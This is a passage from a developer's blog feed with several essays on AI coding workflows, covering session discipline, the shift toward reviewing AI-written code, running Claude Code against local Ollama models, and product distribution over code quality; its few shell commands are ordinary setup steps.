The metaphor runs through the whole thing: you’re not a line cook anymore, you’re orchestrating AI sous chefs, directing the kitchen, tasting every dish before it goes out. The developer-as-implementer era is over. Welcome to developer-as-orchestrator.
The Biryani Incident It’s a good metaphor. I buy it. But here’s the thing about being a head chef that the metaphor doesn’t quite capture: a head chef without mise en place is just a guy having a panic attack near hot surfaces.</description><content:encoded>&lt;![CDATA[<p>Gene Kim and Steve Yegge’s<a href="https://www.amazon.com/Vibe-Coding-Building-Production-Grade-Software/dp/1966280025" rel="external nofollow noopener" class="lnp-link">Vibe Coding</a> book says you’re the head chef now.</p><p>The metaphor runs through the whole thing: you’re not a line cook anymore, you’re orchestrating AI sous chefs, directing the kitchen, tasting every dish before it goes out. The developer-as-implementer era is over. Welcome to developer-as-orchestrator.</p><h2 id="the-biryani-incident"><strong>The Biryani Incident</strong></h2><p>It’s a good metaphor. I buy it. But here’s the thing about being a head chef that the metaphor doesn’t quite capture: a head chef without mise en place is just a guy having a panic attack near hot surfaces.</p><p>I know this because I’ve been that guy. Literally.</p><p>My wife had to leave town for a few days. “I’ll handle dinner,” I said, with the confidence of someone who has watched many cooking videos and successfully boiled pasta multiple times. I decided to make veg biryani — a dish my wife makes effortlessly, layering rice and vegetables and spices into something that tastes like it required more effort than it actually did.</p><p>“Prep everything first,” she told me before leaving. “Soak the basmati rice. Marinate the paneer. Chop the vegetables for layering. Have it all ready before you start cooking.”</p><p>Reader, I did not do this.</p><p>I started frying onions. While the onions were going, I realized I hadn’t marinated the paneer. So I started cubing paneer and mixing yogurt and spices. Then the onions started burning. I ran back, stirred frantically, ran back to the paneer. Remembered I needed to soak the basmati. Started the rice soaking. The onions were now definitely burned. I scraped them out, started over, but now I was behind, so I tried to do the vegetables and the new onions simultaneously while the paneer sat half-marinated&hellip;</p><p>An hour later I had a kitchen that looked like a crime scene, three pans with various stages of failure in them, and something that was technically edible but bore no resemblance to biryani. My wife, via video call, watched me plate this disaster with the expression of someone who had specifically warned against this exact outcome.</p><p>The problem wasn’t skill. I can cook. The problem was that prep and execution were bleeding into each other. I was trying to figure out what I needed while also doing the thing. And it turns out you can’t actually do both. Not well, anyway.</p><p>I’ve been that guy with AI sous chefs too.</p><p>I’ve been vibe coding since mid-2025. By “vibe coding” I mean the thing where you describe what you want in natural language and an AI writes the code. You know, the future we were promised, except the future has some sharp edges nobody mentioned in the demos.</p><p>Two SaaS products. Real users. Real revenue. Not toy projects, not “look ma I generated a todo app” tutorials, not the kind of thing you show off on Twitter and then quietly delete three weeks later. Actual products that people pay actual money for.</p><p>So when I tell you what follows, understand: this isn’t theory. This is what I learned by shipping real things and watching everything that could go wrong go wrong.</p><h2 id="the-markdown-hemorrhage"><strong>The Markdown Hemorrhage</strong></h2><p>For the first few months, I was that chef.</p><p>I’d sit down to implement a feature. Claude and I would get rolling. Then I’d notice a bug. Well, I’m already here, might as well fix the bug. Then while fixing the bug, I’d realize the error handling was inconsistent. Better clean that up. Oh, and there’s still context left in the window — might as well tackle that other feature I’ve been meaning to add.</p><p>Two hours later: three half-finished things, Claude confused about which task we’re actually doing, and code quality somewhere between “works” and “I’m not sure why.”</p><p>And the markdown. God, the markdown.</p><p>Claude, bless its heart, wanted to help me remember things. So it started creating files.<a href="http://architecture.md/" rel="external nofollow noopener" class="lnp-link">ARCHITECTURE.md</a>.<a href="http://decisions.md/" rel="external nofollow noopener" class="lnp-link">DECISIONS.md</a>. IMPLEMENTATION_NOTES.md.<a href="http://todo.md/" rel="external nofollow noopener" class="lnp-link">TODO.md</a>.<a href="http://context.md/" rel="external nofollow noopener" class="lnp-link">CONTEXT.md</a>.<a href="http://changelog.md/" rel="external nofollow noopener" class="lnp-link">CHANGELOG.md</a>. README_UPDATED.md.</p><p>I call this markdown hemorrhage. The AI equivalent of a kitchen where every surface is covered with prep bowls, half-chopped vegetables, and sticky notes that say “DON’T FORGET THE SAUCE” — technically documentation, practically chaos.</p><p>At one point I had so many markdown files that I needed another AI tool just to search through the documentation I’d created for my AI tool.</p><p>This was clearly insane.</p><p>But here’s the thing that took me embarrassingly long to figure out: the problem wasn’t the tools. The problem was me.</p><h2 id="one-goal-per-session"><strong>One Goal Per Session</strong></h2><p>I was treating every Claude session like a buffet.</p><p>You know how it goes. You sit down to implement a feature. While you’re implementing, you notice a bug. Well, you’re already here, might as well fix the bug. Oh, and while fixing the bug, you realize the error handling is inconsistent across the codebase. Better clean that up too. And hey, there’s still context left in the window — might as well tackle that other feature you’ve been meaning to add.</p><p>Two hours later, you’ve got three half-finished things, Claude is confused about which task it’s actually working on, and the code quality has degraded to “works but I’m not sure why.”</p><p>I call this context pollution. And once I named it, I started seeing it everywhere.</p><p>LLMs are bad at juggling multiple goals. This isn’t a Claude problem — it’s a fundamental thing about how these models work. When you ask them to hold multiple objectives simultaneously, they get worse at all of them. Not a little worse.<em>Dramatically</em> worse.</p><p>The fix sounds almost stupidly simple: one goal per session.</p><p>That’s it. That’s the whole trick. One goal. One session. If you discover a bug while implementing a feature, you write down the bug and you close the session. The bug gets its own session later. No “while I’m here” detours. No context pollution.</p><p>“But what about efficiency?” I hear you asking. “Isn’t it wasteful to end a session when there’s still context left?”</p><p>This is the trap. This is exactly the thinking that leads to burned onions and half-marinated paneer. The leftover context is not an asset. It’s a liability. It’s your coworker with three tasks open, doing all of them poorly, about to forget everything anyway.</p><p>End the session. Start fresh. One goal.</p><h2 id="the-mise-en-place"><strong>The Mise en Place</strong></h2><p>Now, this discipline only works if you have a way to track what you’re not doing.</p><p>If you end a session every time you discover a bug, you need somewhere for that bug to live. Otherwise you’ll forget it. The bugs pile up in your head, you context-switch mentally, and you’re back where you started.</p><p>This is where beads comes in.</p><p>Beads is a git-backed issue tracker that Claude can read and write. Steve Yegge built it (yes, that Steve Yegge — the guy who wrote the platforms rant and approximately nine million words about Emacs). The idea is simple: every task becomes a “bead.” Claude creates them, updates them, closes them. They survive compaction. They sync through git.</p><p>I installed it. I ran<code>bd init</code>. And then something clicked.</p><p>See, beads isn’t just a todo list. It’s a forcing function. When you start a session, you run<code>bd ready</code> and it shows you what’s available to work on. You pick<em>one</em>. Not three. One.</p><p>And when you discover a bug mid-session? You tell Claude to create a bead for it. Claude writes it down, logs the context, notes any relevant details. Then you move on. The bug exists now. It has a home. You don’t have to hold it in your head.</p><p>The discipline and the tool reinforce each other. One bead per session only works because beads exist to capture everything else. And beads only work because the discipline prevents you from drowning in them.</p><h2 id="grooming-vs-coding"><strong>Grooming vs. Coding</strong></h2><p>But I’m getting ahead of myself. Let me tell you about grooming.</p><p>In my old workflow, I’d sit down and just&hellip; start. Open Claude, describe what I wanted, begin coding. Very vibe. Very chaotic. Whatever felt right in the moment.</p><p>The problem is that “figuring out what to do” and “doing the thing” are completely different cognitive modes. One is divergent — you’re exploring possibilities, breaking down problems, identifying edge cases. The other is convergent — you’re executing, making decisions, writing code.</p><p>When you mix them, you get mush.</p><p>So now I run two types of sessions:</p><p>Grooming sessions are for thinking. I’m not coding. I’m not even planning to code in this session. I’m creating beads. Breaking down a feature into pieces. Identifying dependencies. Noting edge cases. If I think of an unrelated feature while grooming, it gets written down — for a different grooming session. No cross-contamination.</p><p>Coding sessions are for execution. One bead. Implement it. If I discover a bug, I note it and keep going unless it’s blocking. The bug gets groomed and coded in its own sessions later.</p><p>This separation is the whole game. It sounds bureaucratic. It sounds like exactly the kind of process that “vibe coding” was supposed to eliminate. But here’s the secret: this discipline is what makes vibe coding actually work at scale. Without it, you’re just generating code and hoping. With it, you’re building systems.</p><h2 id="a-few-other-things"><strong>A Few Other Things</strong></h2><p>MCPs should be loaded at project level, not globally. Every MCP eats context. If a project doesn’t need the Reddit MCP, it doesn’t get the Reddit MCP. Context is expensive. Guard it like it’s money, because in a very real sense, it is.</p><p>Autocompact should be off. I want to control when context resets, not have the algorithm decide for me mid-feature. Yes, this means manually managing sessions. That’s the point.</p><p><a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">Claude.md</a> files are more powerful than you think. I have a global one in<code>~/.claude/CLAUDE.md</code> with rules that apply everywhere. Each project gets its own with project-specific instructions. Claude reads these automatically. They’re like a pre-prompt that doesn’t eat your context window.</p><h2 id="what-still-doesnt-work"><strong>What Still Doesn’t Work</strong></h2><p>Now, here’s the part where I’m supposed to tell you it’s all solved and my workflow is perfect.</p><p>It’s not.</p><p>Debugging production issues is still clunky. I’ve got a combination of skills and MCPs that sort of works, but there’s too much manual context assembly. Something breaks in prod and I’m still spending the first 20 minutes of the session explaining the architecture before we can even start diagnosing.</p><p>Test-driven development doesn’t flow. The loop of “write test, see it fail, implement, see it pass” — it’s awkward. Claude wants to write everything at once. I’m still tweaking my tooling to make TDD feel natural.</p><p>UX work is hard. Like, fundamentally hard. Claude can scaffold UI. It can generate components. But “does this feel right?” is a human judgment call, and trying to get there through text-based iteration is like describing a painting to someone and asking them to tell you if it’s beautiful.</p><p>These are the walls I’m hitting. I’m building tooling to address them — an<a href="https://lakshminp.substack.com/p/why-im-building-an-agent-orchestrator" rel="external nofollow noopener" class="lnp-link">agent orchestrator</a> that tailors Claude to my specific workflow. Work in progress. If you’re the adventurous type, you can<a href="https://badri.github.io/wt/" rel="external nofollow noopener" class="lnp-link">try it now</a>.</p><h2 id="the-system"><strong>The System</strong></h2><p>So here’s the actual system, if you want to try it:</p><ol><li><p>Install beads:<code>npm install -g @anthropic-ai/beads &amp;&amp; bd init</code></p></li><li><p>Add to your global<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a>: “Check<code>bd ready</code> at session start. One bead per session.”</p></li><li><p>Separate grooming from coding. Different sessions. Different mindsets.</p></li><li><p>Resist the urge to “do more while there’s context left.” That’s the trap.</p></li><li><p>Protect your context. Project-level MCPs only. Kill anything you don’t need.</p></li></ol><p>Two SaaS products since mid-2025. All vibe coded with this system.</p><p>Not because the tools are magic. The tools are good, but tools are never magic. What made it work was the discipline — the willingness to be a little bit boring about context hygiene, to resist the temptation to do more, to trust that a focused session ships more than a scattered one.</p><p>Vibe coding without chaos. It turns out it’s not about vibing harder. It’s about vibing deliberately.</p><p>You’re the head chef now. But don’t forget your mise en place.</p><p>My wife was right, by the way. She usually is.</p><p><em>I’m Lakshmi. 20 years in software — ops, infrastructure, full-stack. Now solo founder using Claude Code to develop, deploy, and distribute.</em></p>
]]></content:encoded></item><item><title>Congratulations, You've Been Promoted to Code Janitor</title><link>https://lakshminp.com/2026/01/code-janitor-ai-era/</link><pubDate>Fri, 23 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/code-janitor-ai-era/</guid><category>essays</category><category>craft</category><description>It was 2001. I was building a platformer.
Not “building” in the modern sense, where you describe what you want and a language model hallucinates it into existence. I mean building. DJGPP. Allegro. A DOS compiler that ran on Windows 98 and made you feel like a wizard for getting it to work at all.
I spent three weeks figuring out how platform scrolling worked.
Three weeks. Not because I was stupid — though jury’s still out — but because nobody had written a Medium article explaining it. Stack Overflow didn’t exist. The Allegro documentation was a text file that assumed you already knew what a framebuffer was. I had to think.</description><content:encoded>&lt;![CDATA[<p>It was 2001. I was building a platformer.</p><p>Not “building” in the modern sense, where you describe what you want and a language model hallucinates it into existence. I mean<em>building</em>. DJGPP. Allegro. A DOS compiler that ran on Windows 98 and made you feel like a wizard for getting it to work at all.</p><p>I spent three weeks figuring out how platform scrolling worked.</p><p>Three weeks. Not because I was stupid — though jury’s still out — but because nobody had written a Medium article explaining it. Stack Overflow didn’t exist. The Allegro documentation was a text file that assumed you already knew what a framebuffer was. I had to<em>think</em>.</p><p>And then one night, around 2am, I got it working.</p><p>My little sprite — a 16x16 pixel abomination that was supposed to be a knight but looked more like a confused rectangle — walked across the screen. I pressed the arrow keys and the platform scrolled. The background moved. The character stayed centred.</p><p>I decided, right then, that I wanted to be a game programmer.</p><p>(I didn’t become a game programmer. Life had other plans. But that’s not the point.)</p><p>The point is: I remember that moment with perfect clarity. The dopamine hit. The sense of<em>creation</em>. I had figured something out. I had made something move. I understood, down to the register level, why it worked.</p><p>I couldn’t tell you the last time I felt that.</p><h2 id="the-joy-we-traded"><strong>The Joy We Traded</strong></h2><p>There’s a thread on r/ClaudeAI that’s been haunting me. 624 upvotes. Title: “We are not developers anymore, we are reviewers.”</p><p>The author nails it:</p><blockquote><p><em>“Coding used to be a creative act. You enter a ‘flow state,’ solving micro-problems and building something from nothing. Now, the workflow is: Prompt → Generate → Read Code → Fix Code. We have effectively turned the job into an endless Code Review session.”</em></p></blockquote><p>And then the kicker:</p><blockquote><p><em>“Let’s be honest, code review has always been the most tedious part of the job.”</em></p></blockquote><p>Yeah. That landed.</p><p>I used to joke that the worst part of being a senior engineer was reviewing other people’s code. All the cognitive load of understanding a system, none of the satisfaction of building it. You’re not creating — you’re auditing. You’re the IRS of software development.</p><p>Congratulations. That’s your whole job now.</p><h2 id="the-janitor-effect"><strong>The Janitor Effect</strong></h2><p>One commenter called it the “reverse centaur.”</p><p>The dream was that AI would be the centaur’s horse — we’d ride it, directing its power, multiplying our capabilities. We’d be the brains, it’d be the muscle.</p><p>Instead, we’re the cleanup crew.</p><p>Claude writes 400 lines of code in 30 seconds. Impressive. Looks right. Probably compiles. But there’s a subtle bug on line 247 where it’s comparing a string to an integer in a way that JavaScript will happily accept and silently mangle. There’s a race condition in the async handler that only manifests under load. There’s a variable named<code>data</code> that shadows another variable named<code>data</code> three scopes up.</p><p>You know. Junior developer stuff.</p><p>Except this junior developer types at 10,000 words per minute and never gets tired. So now you’re reviewing 10x more code per day, and every review requires you to maintain the mental context of code<em>you didn’t write</em>.</p><p>I spent 20 years building mental maps of codebases. Line by line. Function by function. When you write the code yourself, the map builds automatically. You know why that flag exists because you added it at 3am to fix a production incident. You know that module is haunted because you were there when the haunting began.</p><p>When Claude writes the code, you get none of that. You just get the artifact. A fully-formed thing that appeared, Athena-like, from the forehead of a language model. And you have to reverse-engineer the intent from the implementation.</p><p>This is debugging someone else’s code.</p><p>Forever.</p><h2 id="the-uncomfortable-truth"><strong>The Uncomfortable Truth</strong></h2><p>Here’s what nobody wants to say out loud: the implementation was the fun part.</p><p>Not the architecture. Architecture is meetings. Architecture is diagrams that nobody reads and Jira tickets that nobody updates. Architecture is important, yes, but it’s not<em>fun</em>.</p><p>The fun was the 2am breakthrough. The fun was that moment when the tests finally pass and you understand<em>why</em>. The fun was the flow state — that hypnotic trance where hours feel like minutes and you emerge, blinking, having built something that didn’t exist before.</p><p>LLMs took that part.</p><p>They left us the meetings.</p><h2 id="the-promoted-to-manager-cope"><strong>The “Promoted to Manager” Cope</strong></h2><p>There’s a certain cope that shows up in these discussions. “Well, actually, you’ve been promoted! Now you’re like a tech lead! You’re directing instead of doing!”</p><p>Sure. And my 2001 self was “promoted” from game programmer to accountant the moment Excel learned formulas.</p><p>Here’s the thing about being promoted: you’re supposed to<em>want</em> it. The tech leads I know who love their jobs? They love mentoring. They love the big-picture thinking. They love watching junior devs grow.</p><p>Nobody loves reviewing AI-generated code. The AI doesn’t grow. It doesn’t learn from your feedback. It just generates more code for you to review tomorrow. You’re not mentoring — you’re babysitting. And the baby has unlimited energy and zero object permanence.</p><h2 id="what-we-actually-lost"><strong>What We Actually Lost</strong></h2><p>Let me be clear: I’m not a Luddite. The productivity gains are real. I ship faster than ever. I build things in hours that would have taken weeks.</p><p>But something shifted.</p><p>When I built that platformer in 2001, I was a craftsman. Slow, inefficient, probably writing terrible code — but a craftsman. I understood my tools. I understood my materials. I understood, deeply, what I was making.</p><p>Now I’m a project manager for a very fast, very unreliable contractor.</p><p>The contractor doesn’t care about the code. It has no pride in the work. It optimizes for “looks plausible” rather than “is correct.” It will happily generate the same bug in 15 different files if you don’t catch it in the first one.</p><p>And catching it is<em>your</em> job now. Not building. Catching.</p><h2 id="the-question-nobody-wants-to-answer"><strong>The Question Nobody Wants to Answer</strong></h2><p>The Reddit thread ends with a question:</p><blockquote><p><em>“Do you miss the actual act of coding, or are you happy to just be the ‘director’ while the AI does the acting?”</em></p></blockquote><p>I think about my 2001 self. That kid who spent three weeks understanding platform scrolling. Who felt genuine joy when a rectangle moved across a screen.</p><p>Would I trade that experience for “just ask Claude to make a platformer”?</p><p>I honestly don’t know.</p><p>But I know this: that kid would be horrified by how I work today. Not impressed — horrified. Because to him, the coding<em>was</em> the point. The game was just an excuse to code.</p><p>And now the code is just an excuse to ship.</p><h2 id="the-adaptation"><strong>The Adaptation</strong></h2><p>Look, I don’t have a tidy conclusion here. The models aren’t getting worse. The productivity isn’t going away. We’re not going back to DJGPP and Allegro and three-week debugging sessions.</p><p>Maybe the joy comes back in a different form. Maybe it’s in the architecture, once we learn to love it. Maybe it’s in building the tools that build the tools. Maybe it’s in the meta-game of prompt engineering and workflow optimization.</p><p>Or maybe we just mourn quietly and move on.</p><p>I’ve gotten good at code review. I’ve built mental models for reading AI-generated code quickly, spotting the common failure modes, knowing where to look for the bugs. It’s a skill. Not the skill I wanted, but a skill.</p><p>And sometimes — rarely, but sometimes — I still drop into the code myself. Ignore Claude. Write it by hand. Feel the flow state kick in, just for a moment.</p><p>It’s slower. It’s inefficient. It’s probably a waste of time.</p><p>But that little rectangle still needs to walk across the screen sometimes. Even if nobody’s watching.</p>
]]></content:encoded></item><item><title>Why Company AI Bans Will Backfire (The Napster Lesson)</title><link>https://lakshminp.com/2026/01/ai-ban-spotify-moment/</link><pubDate>Thu, 22 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/ai-ban-spotify-moment/</guid><category>essays</category><category>craft</category><description>In 1999, a college kid named Shawn Fanning released a little program called Napster.
Within 18 months, 80 million people were using it. The record industry lost its collective mind. Metallica sued. Dr. Dre sued. The RIAA launched a legal crusade that would make Prohibition-era feds proud.
In July 2001, Napster was ordered to shut down.
Victory for the record labels, right? Piracy defeated. Order restored.
Except that’s not what happened at all.</description><content:encoded>&lt;![CDATA[<p>In 1999, a college kid named Shawn Fanning released a little program called Napster.</p><p>Within 18 months, 80 million people were using it. The record industry lost its collective mind. Metallica sued. Dr. Dre sued. The RIAA launched a legal crusade that would make Prohibition-era feds proud.</p><p>In July 2001, Napster was ordered to shut down.</p><p>Victory for the record labels, right? Piracy defeated. Order restored.</p><p>Except that’s not what happened at all.</p><p>What happened was Kazaa. And LimeWire. And BitTorrent. And The Pirate Bay. The music industry spent the next decade playing whack-a-mole with increasingly sophisticated piracy networks. They sued college students for thousands of dollars. They installed rootkits on CDs. They lobbied for laws that made sharing a song punishable by more jail time than armed robbery in some states.</p><p>None of it worked.</p><p>People didn’t stop downloading music. They just got better at hiding it. The tools got more decentralized, more anonymous, more impossible to shut down. Every crackdown spawned three new services. The industry’s own enforcement efforts trained an entire generation to view them as the enemy.</p><p>The thing that finally fixed music piracy wasn’t lawsuits or legislation or DRM. It was Spotify. It was giving people a legitimate way to do the thing they were going to do anyway, at a price point that made piracy feel like more effort than it was worth.</p><p>The music industry spent a decade fighting human behavior. Then someone finally figured out how to work with it instead.</p><p>I keep thinking about this story lately.</p><p><strong>The email that started a Reddit war.</strong></p><p>A developer posted recently: “My company banned AI tools and I don’t know what to do.”</p><p>Security team sent an email. No ChatGPT. No Claude. No Copilot. No automation platforms with LLMs. Data privacy concerns. Their reasoning wasn’t entirely wrong — they work with sensitive client information.</p><p>But here’s the part that made 114 people upvote and 392 people comment:</p><p>“Some people on my team are definitely using AI anyway on personal devices. Nobody talks about it but you can tell.”</p><p>Read that again.</p><p>The ban didn’t stop AI usage. It just pushed it underground. Developers are now typing company code into free-tier tools on personal phones with zero audit trail, zero data retention policies, zero corporate oversight.</p><p>The policy designed to prevent data leakage created the exact conditions for data leakage to happen.</p><p>Sound familiar?</p><p><strong>We’ve seen this movie before.</strong></p><p>The Napster pattern shows up everywhere once you start looking.</p><p>Prohibition didn’t stop drinking. It created speakeasies and bootleggers and gave organized crime its business model for the next century.</p><p>Corporate social media bans don’t stop employees from checking Twitter. They just do it on their phones instead of their work computers — which, ironically, means IT has even less visibility into what’s happening.</p><p>VPN blocks in authoritarian countries don’t stop people from accessing banned sites. They just create a thriving market for better VPN services.</p><p>The pattern is always the same: Ban the thing people want to do. Watch them do it anyway, but worse. Spend enormous resources trying to enforce the unenforceable. Eventually give up or get disrupted by someone who figured out how to make the thing legal and convenient.</p><p>The music industry got Spotify. The question is: what’s the Spotify for AI-banned developers?</p><p><strong>The escape hatch nobody’s talking about.</strong></p><p>Here’s where this gets interesting.</p><p>Buried in a comment on that Reddit thread, someone wrote: “Welcome to local llama.”</p><p>Most developers scrolled past it. But that two-word comment is actually the whole answer.</p><p>You can run Claude Code — the actual Anthropic CLI tool — with local models. Everything stays on your machine. Nothing touches the cloud. Zero API costs. Full compliance. Your security team can’t complain about data leaving the network when the data never leaves your laptop.</p><p>This became possible a few months ago when Ollama added native support for the Anthropic Messages API. Two environment variables and you’re running.</p><pre><code>export ANTHROPIC_BASE_URL="http://localhost:11434"
export ANTHROPIC_AUTH_TOKEN="ollama"</code></pre><p>That’s it. That’s the whole trick.</p><p>Your company banned Claude? Cool. Run Claude Code pointed at a local model. The interface is identical. The workflow is identical. The data stays on hardware you control.</p><p>This isn’t a hack or a workaround. It’s a legitimate, auditable, IT-approved way to use AI coding tools without sending a single byte to external servers.</p><p><strong>The Spotify moment for AI bans.</strong></p><p>Think about what Spotify actually solved.</p><p>People wanted music. The industry wanted control. Spotify gave people convenient access while giving the industry a revenue stream and usage data. Everyone got something.</p><p>Local AI models are the same deal.</p><p>Developers want AI assistance. Security teams want data privacy. Local models give developers the tooling while giving security teams complete control over where the data goes.</p><p>For organizations, you can even run Ollama on a beefy internal server and point everyone’s Claude Code at it:</p><pre><code>export ANTHROPIC_BASE_URL="http://internal-server.yourcompany.com:11434"</code></pre><p>Now you’ve got a compliant, auditable, centrally-managed AI coding assistant. IT controls the models. IT controls the access. Everything is logged. Nothing leaves the network.</p><p>The security team gets their audit trail. Developers stop pretending they’re coding like it’s 2020. Everyone can have honest conversations in standups instead of maintaining an elaborate fiction.</p><p><strong>The honest trade-off.</strong></p><p>I’d be lying if I said local models were just as good as Claude’s API.</p><p>They’re not. Expect about 60-70% of the Claude experience. Local models need more explicit prompting. Complex multi-file refactors require more hand-holding. The magic “it just works” feeling of Claude Sonnet isn’t quite there yet.</p><p>One developer put it bluntly: “Claude Code talked to Ollama, and Qwen3-Coder produced some code. It was clumsy, slow, and required detailed prompting to make something work.”</p><p>But here’s the thing about that 60-70%: it’s 60-70% more than zero.</p><p>If your choice is between “banned from AI entirely” and “AI that’s pretty good but not magical,” that’s not actually a hard choice. You’re not comparing local models to Claude’s API. You’re comparing local models to doing everything manually while your competitors ship twice as fast.</p><p>The gap between local and cloud is real but shrinking. Six months ago this setup wasn’t even possible. The models are getting better every few weeks. By the time your company’s “we’ll revisit the AI policy later” actually happens, local models might be good enough that you don’t even want to switch.</p><p><strong>The ten-minute setup.</strong></p><p>If you want to try this:</p><pre><code># Install Ollama
brew install ollama
# Start it and pull a model
ollama serve
ollama pull qwen3-coder:32b
# Add to your ~/.zshrc
export ANTHROPIC_BASE_URL="http://localhost:11434"
export ANTHROPIC_AUTH_TOKEN="ollama"
export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1
# Reload and run
source ~/.zshrc
claude</code></pre><p>One gotcha: Claude Code’s system prompt is about 16,500 tokens. You need models with at least 32K context. Qwen3-Coder 32B and DeepSeek Coder V2 work well. Smaller models will choke before you even ask a question.</p><p>If you’re on an M-series Mac with 64GB RAM, you’re in good shape. 32GB is workable. 16GB is going to hurt.</p><p><strong>The point of all this.</strong></p><p>The Napster story didn’t end with piracy winning. It ended with the industry finally building something that worked with human nature instead of against it.</p><p>Your company’s AI ban is the RIAA lawsuit phase. It feels like control. It’s actually just delaying the inevitable while making everything worse in the meantime.</p><p>Local models are the Spotify phase. They’re the legitimate path that gives everyone what they actually want.</p><p>The technology exists. The setup takes ten minutes. The trade-offs are reasonable. The only question is whether your organization figures this out now, or burns another year pretending the ban is working while developers type code into ChatGPT on their phones.</p><p>History suggests they’ll figure it out eventually.</p><p>You don’t have to wait.</p>
]]></content:encoded></item><item><title>Your Code Quality Doesn't Matter Anymore (And It Never Did)</title><link>https://lakshminp.com/2026/01/code-quality-doesnt-matter/</link><pubDate>Wed, 21 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/code-quality-doesnt-matter/</guid><category>essays</category><category>ai-coding</category><category>craft</category><description>A founder on Reddit recently shared that his CTO rebuilt what four third-party partners were providing — using Claude, in weeks, at a fraction of the cost.
Another commenter chimed in: their company replaced $300,000/year software with something they built in-house in under four months.
Meanwhile, over on r/SaasDevelopers, a developer is stuck at $200 MRR for eight months. Beautiful code. Great UX. Fifteen features. Asked where his users come from: “Uh, Product Hunt six months ago and some Reddit posts.”</description><content:encoded>&lt;![CDATA[<p>A founder on Reddit recently shared that his CTO rebuilt what four third-party partners were providing — using Claude, in weeks, at a fraction of the cost.</p><p>Another commenter chimed in: their company replaced $300,000/year software with something they built in-house in under four months.</p><p>Meanwhile, over on r/SaasDevelopers, a developer is stuck at $200 MRR for eight months. Beautiful code. Great UX. Fifteen features. Asked where his users come from: “Uh, Product Hunt six months ago and some Reddit posts.”</p><p>These two conversations are happening in parallel across the internet, and most developers haven’t connected the dots yet.</p><p>Here’s what’s actually happening: AI didn’t just make coding faster. It vaporized the feature moat entirely.</p><p><strong>The feature moat was always a lie we told ourselves.</strong></p><p>“If I build it better, they will come.” This was comforting. It meant the thing we’re good at — writing code — was the thing that mattered most.</p><p>It wasn’t true before AI. It’s aggressively not true now.</p><p>Your competitor can rebuild your core features in a weekend. Not because they’re brilliant. Because Claude is sitting right there, and the barrier to “good enough” has collapsed to basically zero. That integration you spent three months perfecting? Someone’s CTO just shipped an 80% version while you were reading this paragraph.</p><p>The YC thread frames it well: “AI mostly kills thin feature moats, not real businesses.” If your entire value proposition is “we built this thing and it works,” congratulations — you’ve built something anyone can now replicate before their coffee gets cold.</p><p><strong>So what’s actually defensible?</strong></p><p>The comments in both threads converge on the same uncomfortable answer: everything except the code.</p><p><strong>Distribution.</strong> The SaasDevelopers post makes the case bluntly: a mediocre product with great distribution beats a great product with no distribution. Every time. The OP claims $4.8K MRR with “decent features, nothing groundbreaking” because he publishes three SEO posts weekly and engages in five communities daily. His previous products had better code and failed under $500 MRR.</p><p>Whether you believe his specific numbers or not, the pattern is real. Visibility compounds. Code quality doesn’t.</p><p><strong>Operational complexity.</strong> The YC founder pivoted to payments specifically because it’s “harder to clone with AI.” Payments involve regulatory mess, edge cases that actually hurt people when you get them wrong, and trust that takes years to build. You can’t vibe-code your way to PCI compliance.</p><p><strong>Workflow embedding.</strong> One commenter nailed it: “Can a copycat ship it, but still not get adopted because switching costs and trust are the real barrier?” If yes, you might have something. If your product is a nice UI on top of an API call, you’re a feature waiting to be absorbed.</p><p><strong>Data that compounds.</strong> This one’s subtle but important. If your product gets better because you have data your competitors can’t easily replicate — user behavior, domain-specific training data, network effects — that’s a moat AI can’t trivially cross.</p><p><strong>The developer’s existential crisis.</strong></p><p>Here’s the part nobody wants to say out loud: for most technical founders, the skill that got them here is now table stakes.</p><p>You can write clean code. Great. So can Claude. You can architect systems. Wonderful. So can a junior dev with Cursor and four hours.</p><p>The skills that matter now are the ones developers historically dismissed as “marketing” or “sales” or “that stuff the business people do.”</p><p>Building an audience. Writing content that ranks. Engaging in communities without getting banned for being too promotional. Understanding what people actually want to pay for versus what’s technically impressive.</p><p>This is deeply annoying if you became a developer specifically to avoid talking to people.</p><p><strong>What to actually do.</strong></p><p>Stop adding features to a product nobody’s using. That’s not building — that’s procrastinating with a compiler.</p><p>Spend less time in your IDE and more time in the places your customers hang out. Reddit, LinkedIn, niche communities, whatever. Not to drop links. To understand what problems people are actually complaining about and whether your thing solves any of them. (It’s why I’m building<a href="https://threadhq.co/" rel="external nofollow noopener" class="lnp-link">ThreadHQ</a>.)</p><p>If your product can be rebuilt in weeks with AI, either pivot to something with real operational complexity, or accept that distribution is your product now and code is just the unlock.</p><p>The YC thread suggests payments, compliance-heavy industries, anything where “mistakes actually hurt” and trust is earned over years. The SaasDevelopers thread suggests becoming a distribution machine: 20+ platform launches, daily content, systematic visibility.</p><p>Both are right. Pick your poison.</p><p><strong>The uncomfortable synthesis.</strong></p><p>AI commoditized the build. What’s left is everything around it: who knows about you, who trusts you, and how painful it would be to switch away.</p><p>The code was never the product. Now it’s just impossible to pretend otherwise.</p>
]]></content:encoded></item><item><title>Why I'm Building an Agent Orchestrator</title><link>https://lakshminp.com/2026/01/agent-orchestrator/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/agent-orchestrator/</guid><category>essays</category><category>craft</category><description>I have a confession.
I’ve been running multiple Claude Code sessions manually. Like some kind of air traffic controller using Post-it notes.
Terminal 1: auth refactor.
Terminal 2: API pagination.
Terminal 3: that bug I said I’d fix last week.
Tab. Check. Tab. Check. Tab. “Wait, which one was working on the tests?”
Nobody should have to live like that.
